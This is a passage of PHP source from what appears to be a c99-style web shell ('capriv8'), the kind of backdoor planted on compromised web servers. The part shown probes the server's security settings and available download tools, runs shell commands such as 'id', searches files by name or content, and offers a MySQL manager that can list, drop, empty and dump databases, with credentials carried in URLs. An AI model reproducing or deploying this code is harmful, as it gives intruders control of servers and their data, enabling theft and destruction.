  2345.       else {$error = mysql_error();}
  2346.       $error = htmlspecialchars($error);
  2347.       return $error;
  2348.     }
  2349.   }
  2350.   if (!function_exists("mysql_query_form")) {
  2351.     function mysql_query_form() {
  2352.       global $submit,$sql_x,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  2353.       if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  2354.       if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
  2355.       if ((!$submit) or ($sql_x)) {
  2356.         echo "<table border=0><tr><td><form name=\"capriv8_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=x value=sql><input type=hidden name=sql_x value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
  2357.         if ($tbl_struct) {
  2358.           echo "<td valign=\"top\"><b>Fields:</b><br>";
  2359.           foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.capriv8_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  2360.           echo "</td></tr></table>";
  2361.         }
  2362.       }
  2363.       if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  2364.     }
  2365.   }
  2366.   if (!function_exists("mysql_create_db")) {
  2367.     function mysql_create_db($db,$sock="") {
  2368.       $sql = "CREATE DATABASE `".addslashes($db)."`;";
  2369.       if ($sock) {return mysql_query($sql,$sock);}
  2370.       else {return mysql_query($sql);}
  2371.     }
  2372.   }
  2373.   if (!function_exists("mysql_query_parse")) {
  2374.     function mysql_query_parse($query) {
  2375.       $query = trim($query);
  2376.       $arr = explode (" ",$query);
  2377.       $types = array(
  2378.         "SELECT"=>array(3,1),
  2379.         "SHOW"=>array(2,1),
  2380.         "DELETE"=>array(1),
  2381.         "DROP"=>array(1)
  2382.       );
  2383.       $result = array();
  2384.       $op = strtoupper($arr[0]);
  2385.       if (is_array($types[$op])) {
  2386.         $result["propertions"] = $types[$op];
  2387.         $result["query"]  = $query;
  2388.         if ($types[$op] == 2) {
  2389.           foreach($arr as $k=>$v) {
  2390.             if (strtoupper($v) == "LIMIT") {
  2391.               $result["limit"] = $arr[$k+1];
  2392.               $result["limit"] = explode(",",$result["limit"]);
  2393.               if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  2394.               unset($arr[$k],$arr[$k+1]);
  2395.             }
  2396.           }
  2397.         }
  2398.       }
  2399.       else {return FALSE;}
  2400.     }
  2401.   }
  2402.   if (!function_exists("cafsearch")) {
  2403.     function cafsearch($d) {
  2404.       global $found;
  2405.       global $found_d;
  2406.       global $found_f;
  2407.       global $search_i_f;
  2408.       global $search_i_d;
  2409.       global $a;
  2410.       if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  2411.       $h = opendir($d);
  2412.       while (($f = readdir($h)) !== FALSE) {
  2413.         if($f != "." && $f != "..") {
  2414.           $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
  2415.           if (is_dir($d.$f)) {
  2416.             $search_i_d++;
  2417.             if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  2418.             if (!is_link($d.$f)) {cafsearch($d.$f);}
  2419.           }
  2420.           else {
  2421.             $search_i_f++;
  2422.             if ($bool) {
  2423.               if (!empty($a["text"])) {
  2424.                 $r = @file_get_contents($d.$f);
  2425.                 if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  2426.                 if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  2427.                 if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  2428.                 else {$bool = strpos(" ".$r,$a["text"],1);}
  2429.                 if ($a["text_not"]) {$bool = !$bool;}
  2430.                 if ($bool) {$found[] = $d.$f; $found_f++;}
  2431.               }
  2432.               else {$found[] = $d.$f; $found_f++;}
  2433.             }
  2434.           }
  2435.         }
  2436.       }
  2437.       closedir($h);
  2438.     }
  2439.   }
  2440.   if ($x == "gofile") {
  2441.     if (is_dir($f)) { $x = "ls"; $d = $f; }
  2442.     else { $x = "f"; $d = dirname($f); $f = basename($f); }
  2443.   }
  2444.   @ob_start();
  2445.   @ob_implicit_flush(0);
  2446.   function onphpshutdown() {
  2447.     global $gzipencode,$ft;
  2448.     if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
  2449.       $v = @ob_get_contents();
  2450.       @ob_end_clean();
  2451.       @ob_start("ob_gzHandler");
  2452.       echo $v;
  2453.       @ob_end_flush();
  2454.     }
  2455.   }
  2456.   function capriv8exit() {
  2457.     onphpshutdown();
  2458.     exit;
  2459.   }
  2460.   header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  2461.   header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  2462.   header("Cache-Control: no-store, no-cache, must-revalidate");
  2463.   header("Cache-Control: post-check=0, pre-check=0", FALSE);
  2464.   header("Pragma: no-cache");
  2465.   if (empty($tmpdir)) {
  2466.     $tmpdir = ini_get("upload_tmp_dir");
  2467.     if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  2468.   }
  2469.   $tmpdir = realpath($tmpdir);
  2470.   $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  2471.   if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  2472.   if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  2473.   else {$tmpdir_logs = realpath($tmpdir_logs);}
  2474.   function showstat($stat) {
  2475.     if ($stat=="on") { return "<font color=#00FF00><b>ON</b></font>"; }
  2476.     else { return "<font color=red><b>OFF</b></font>"; }
  2477.   }
  2478.   function testperl() {
  2479.     if (ex('perl -h')) { return showstat("on"); }
  2480.     else { return showstat("off"); }
  2481.   }
  2482.   function testfetch() {
  2483.     if(ex('fetch --help')) { return showstat("on"); }
  2484.     else { return showstat("off"); }
  2485.   }
  2486.   function testwget() {
  2487.     if (ex('wget --help')) { return showstat("on"); }
  2488.     else { return showstat("off"); }
  2489.   }
  2490.   function testoracle() {
  2491.     if (function_exists('ocilogon')) { return showstat("on"); }
  2492.     else { return showstat("off"); }
  2493.   }
  2494.   function testpostgresql() {
  2495.     if (function_exists('pg_connect')) { return showstat("on"); }
  2496.     else { return showstat("off"); }
  2497.   }
  2498.   function testmssql() {
  2499.     if (function_exists('mssql_connect')) { return showstat("on"); }
  2500.     else { return showstat("off"); }
  2501.   }
  2502.   function testcurl() {
  2503.     if (function_exists('curl_version')) { return showstat("on"); }
  2504.     else { return showstat("off"); }
  2505.   }
  2506.   function testmysql() {
  2507.     if (function_exists('mysql_connect')) { return showstat("on"); }
  2508.     else { return showstat("off"); }
  2509.   }
  2510.   function showdisablefunctions() {
  2511.     if ($disablefunc=@ini_get("disable_functions")){ return "<font color=red><b>".$disablefunc."</b></font>"; }
  2512.     else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
  2513.   }
  2514.   if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
  2515.     $safemode = TRUE;
  2516.     $hsafemode = "<font color=#3366FF><b>SAFE MODE is ON (Secure)</b></font>";
  2517.   }
  2518.   else {
  2519.     $safemode = FALSE;
  2520.     $hsafemode = "<font color=red><b>SAFE MODE is OFF (Not Secure)</b></font>";
  2521.   }
  2522.   $v = @ini_get("open_basedir");
  2523.   if ($v or strtolower($v) == "on") {
  2524.     $openbasedir = TRUE;
  2525.     $hopenbasedir = "<font color=red>".$v."</font>";
  2526.   }
  2527.   else {
  2528.     $openbasedir = FALSE;
  2529.     $hopenbasedir = "<font color=green>OFF (not secure)</font>";
  2530.   }
  2531.   $sort = htmlspecialchars($sort);
  2532.   if (empty($sort)) {$sort = $sort_default;}
  2533.   $sort[1] = strtolower($sort[1]);
  2534.   $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  2535.   if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  2536.   $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."x=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  2537.   @ini_set("highlight.bg",$highlight_bg);
  2538.   @ini_set("highlight.comment",$highlight_comment);
  2539.   @ini_set("highlight.default",$highlight_default);
  2540.   @ini_set("highlight.html",$highlight_html);
  2541.   @ini_set("highlight.keyword",$highlight_keyword);
  2542.   @ini_set("highlight.string",$highlight_string);
  2543.   if (!is_array($actbox)) { $actbox = array(); }
  2544.   $dspact = $x = htmlspecialchars($x);
  2545.   $disp_fullpath = $ls_arr = $notls = null;
  2546.   $ud = urlencode($d);
  2547.   $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  2548.   if (empty($d)) {$d = realpath(".");}
  2549.   elseif(realpath($d)) {$d = realpath($d);}
  2550.   $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  2551.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  2552.   $d = str_replace("\\\\","\\",$d);
  2553.   $dispd = htmlspecialchars($d);
  2554. echo $html_start;
  2555. echo "<div class=barheader2><h3>$sh_name</h3><font color=lime> </font></div><hr color=green>\n";
  2556. echo "<table id=pagebar><tr><td width=50%><p>".
  2557.      "Software : ".$DISP_SERVER_SOFTWARE ." - <a href=".$surl."x=phpini>php.ini</a><br>".
  2558.      "$hsafemode<br>".
  2559.      "OS : ".php_uname()."<br>";
  2560. if (!$win) { echo "User ID : ".myshellexec("id"); }
  2561. else { echo "User : " . get_current_user(); }
  2562. echo "</p></td>".
  2563.      "<td width=50%><p>Server IP : <a href=http://whois.domaintools.com/".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a> - ".
  2564.      "Your IP : <a href=http://whois.domaintools.com/".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a><br>";
  2565. if($win){echo "Drives : ".disp_drives($d,$surl)."<br>";}
  2566. echo "Freespace : ".disp_freespace($d);
  2567. echo "</p></td></tr>";
  2568. echo "<tr><td colspan=2><p>";
  2569. echo "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL: ".testmssql()." PostgreSQL: ".testpostgresql().
  2570.      " cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()."<br>";
  2571. echo "Disabled Functions: ".showdisablefunctions();
  2572. echo "</p></td></tr>";
  2573. echo "<tr><td colspan=2 id=mainmenu>";
  2574. if (count($quicklaunch2) > 0) {
  2575.   foreach($quicklaunch2 as $item) {
  2576.     $item[1] = str_replace("%d",urlencode($d),$item[1]);
  2577.     $item[1] = str_replace("%sort",$sort,$item[1]);
  2578.     $v = realpath($d."..");
  2579.     if (empty($v)) {
  2580.       $a = explode(DIRECTORY_SEPARATOR,$d);
  2581.       unset($a[count($a)-2]);
  2582.       $v = join(DIRECTORY_SEPARATOR,$a);
  2583.     }
  2584.     $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  2585.     echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
  2586.   }
  2587. }
  2588. echo "</td><tr><td colspan=2 id=mainmenu>";
  2589. if (count($quicklaunch1) > 0) {
  2590.   foreach($quicklaunch1 as $item) {
  2591.     $item[1] = str_replace("%d",urlencode($d),$item[1]);
  2592.     $item[1] = str_replace("%sort",$sort,$item[1]);
  2593.     $v = realpath($d."..");
  2594.     if (empty($v)) {
  2595.       $a = explode(DIRECTORY_SEPARATOR,$d);
  2596.       unset($a[count($a)-2]);
  2597.       $v = join(DIRECTORY_SEPARATOR,$a);
  2598.     }
  2599.     $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  2600.     echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
  2601.   }
  2602. }
  2603. echo "</td><tr><td colspan=2 id=mainmenu>";
  2604. if (count($quicklaunch3) > 0) {
  2605.   foreach($quicklaunch3 as $item) {
  2606.     $item[1] = str_replace("%d",urlencode($d),$item[1]);
  2607.     $item[1] = str_replace("%sort",$sort,$item[1]);
  2608.     $v = realpath($d."..");
  2609.     if (empty($v)) {
  2610.       $a = explode(DIRECTORY_SEPARATOR,$d);
  2611.       unset($a[count($a)-2]);
  2612.       $v = join(DIRECTORY_SEPARATOR,$a);
  2613.     }
  2614.     $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  2615.     echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
  2616.   }
  2617. }
  2618. echo "</td></tr><tr><td colspan=2>";
  2619. echo "<p class=fleft>";
  2620. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  2621. $i = 0;
  2622. foreach($pd as $b) {
  2623.   $t = ""; $j = 0;
  2624.   foreach ($e as $r) {
  2625.     $t.= $r.DIRECTORY_SEPARATOR;
  2626.     if ($j == $i) { break; }
  2627.     $j++;
  2628.   }
  2629.   echo "<a href=\"".$surl."x=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=#6666FF>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>";
  2630.   $i++;
  2631. }
  2632. echo " - ";
  2633. if (is_writable($d)) {
  2634.   $wd = TRUE;
  2635.   $wdt = "<font color=#00FF00>[OK]</font>";
  2636.   echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
  2637. }
  2638. else {
  2639.   $wd = FALSE;
  2640.   $wdt = "<font color=red>[Read-Only]</font>";
  2641.   echo "<b>".view_perms_color($d)."</b>";
  2642. }
  2643. ?>
  2644. </p>
  2645. <div class=fright>
  2646. <form method="POST"><input type=hidden name=act value="ls">
  2647. Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go">
  2648. </form>
  2649. </div>
  2650. </td></tr></table>
  2651. <?php
  2652. echo "<table id=maininfo><tr><td width=\"100%\">\n";
  2653. if ($x == "") { $x = $dspact = "ls"; }
  2654. if ($x == "phpini" ) { get_phpini(); }
  2655. if ($x == "sql") {
  2656.   $sql_surl = $surl."x=sql";
  2657.   if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  2658.   if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  2659.   if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  2660.   if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  2661.   if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  2662.   $sql_surl .= "&";
  2663.   echo "<table>".
  2664.        "<tr><td width=\"100%\" colspan=2 class=barheader>";
  2665.   if ($sql_server) {
  2666.     $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  2667.     $err = mysql_smarterror();
  2668.     @mysql_select_db($sql_db,$sql_sock);
  2669.     if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  2670.   }
  2671.   else {$sql_sock = FALSE;}
  2672.   echo ".: SQL Manager :.<br>";
  2673.   if (!$sql_sock) {
  2674.     if (!$sql_server) {echo "NO CONNECTION";}
  2675.     else {echo "Can't connect! ".$err;}
  2676.   }
  2677.   else {
  2678.     $sqlquicklaunch = array();
  2679.     $sqlquicklaunch[] = array("Index",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  2680.     $sqlquicklaunch[] = array("Query",$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl));
  2681.     $sqlquicklaunch[] = array("Server-status",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=serverstatus");
  2682.     $sqlquicklaunch[] = array("Server variables",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=servervars");
  2683.     $sqlquicklaunch[] = array("Processes",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=processes");
  2684.     $sqlquicklaunch[] = array("Logout",$surl."x=sql");
  2685.     echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
  2686.     if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  2687.   }
  2688.   echo "</td></tr><tr>";
  2689.   if (!$sql_sock) {
  2690.     echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
  2691.     echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"x\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
  2692.   }
  2693.   else {
  2694.     if (!empty($sql_db)) {
  2695.       ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>
  2696.       <?php
  2697.       $result = mysql_list_tables($sql_db);
  2698.       if (!$result) {echo mysql_smarterror();}
  2699.       else {
  2700.         echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  2701.         $c = 0;
  2702.         while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+ <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  2703.         if (!$c) {echo "No tables found in database.";}
  2704.       }
  2705.     }
  2706.     else {
  2707.       ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
  2708.       <?php
  2709.       $result = mysql_list_dbs($sql_sock);
  2710.       if (!$result) {echo mysql_smarterror();}
  2711.       else {
  2712.         ?><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
  2713.         <?php
  2714.         $c = 0;
  2715.         $dbs = "";
  2716.         while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  2717.         echo "<option value=\"\">Databases (".$c.")</option>";
  2718.         echo $dbs;
  2719.       }
  2720.       ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
  2721.       <?php
  2722.     }
  2723.     echo "</td><td width=\"100%\">";
  2724.     $diplay = TRUE;
  2725.     if ($sql_db) {
  2726.       if (!is_numeric($c)) {$c = 0;}
  2727.       if ($c == 0) {$c = "no";}
  2728.       echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
  2729.       if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  2730.       echo "</b></center>";
  2731.       $acts = array("","dump");
  2732.       if ($sql_x == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
  2733.       elseif ($sql_x == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_x = "query";}
  2734.       elseif ($sql_x == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_x = "dump";}
  2735.       elseif ($sql_x == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
  2736.       elseif ($sql_x == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
  2737.       elseif ($sql_x == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
  2738.       elseif ($sql_x == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
  2739.       elseif ($sql_x == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_x = "query";}
  2740.       elseif ($sql_tbl_x == "insert") {
  2741.         if ($sql_tbl_insert_radio == 1) {
  2742.           $keys = "";
  2743.           $akeys = array_keys($sql_tbl_insert);
  2744.           foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  2745.           if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  2746.           $values = "";
  2747.           $i = 0;
  2748.           foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  2749.           if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  2750.           $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  2751.           $sql_x = "query";
  2752.           $sql_tbl_x = "browse";
  2753.         }
  2754.         elseif ($sql_tbl_insert_radio == 2) {
  2755.           $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  2756.           $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  2757.           $result = mysql_query($sql_query) or print(mysql_smarterror());
  2758.           $result = mysql_fetch_array($result, MYSQL_ASSOC);
  2759.           $sql_x = "query";
  2760.           $sql_tbl_x = "browse";
  2761.         }
  2762.       }
  2763.       if ($sql_x == "query") {
  2764.         echo "<hr size=\"1\" noshade>";
  2765.         if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  2766.         if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
  2767.         if ((!$submit) or ($sql_x)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_x\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
  2768.       }
  2769.       if (in_array($sql_x,$acts)) {
  2770.         ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
  2771.         <form action="<?php echo $surl; ?>">
  2772.         <input type="hidden" name="x" value="sql">
  2773.         <input type="hidden" name="sql_x" value="newtbl">
  2774.         <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
  2775.         <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
  2776.         <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
  2777.         <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
  2778.         <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
  2779.         <input type="text" name="sql_newtbl" size="20">
  2780.         <input type="submit" value="Create">
  2781.         </form></td>
  2782.         <td width="30%" height="1"><b>Dump DB:</b>
  2783.         <form action="<?php echo $surl; ?>">
  2784.         <input type="hidden" name="x" value="sql">
  2785.         <input type="hidden" name="sql_x" value="dump">
  2786.         <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
  2787.         <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
  2788.         <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
  2789.         <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
  2790.         <?php
  2791.         if (!empty($sql_x)) {echo "<hr size=\"1\" noshade>";}
  2792.         if ($sql_x == "newtbl") {
  2793.           echo "<b>";
  2794.           if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
  2795.             echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
  2796.           }
  2797.           else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  2798.         }
  2799.         elseif ($sql_x == "dump") {
  2800.           if (empty($submit)) {
  2801.             $diplay = FALSE;
  2802.             echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_x\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
  2803.             echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
  2804.             $v = join (";",$dmptbls);
  2805.             echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
  2806.             if ($dump_file) {$tmp = $dump_file;}
  2807.             else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
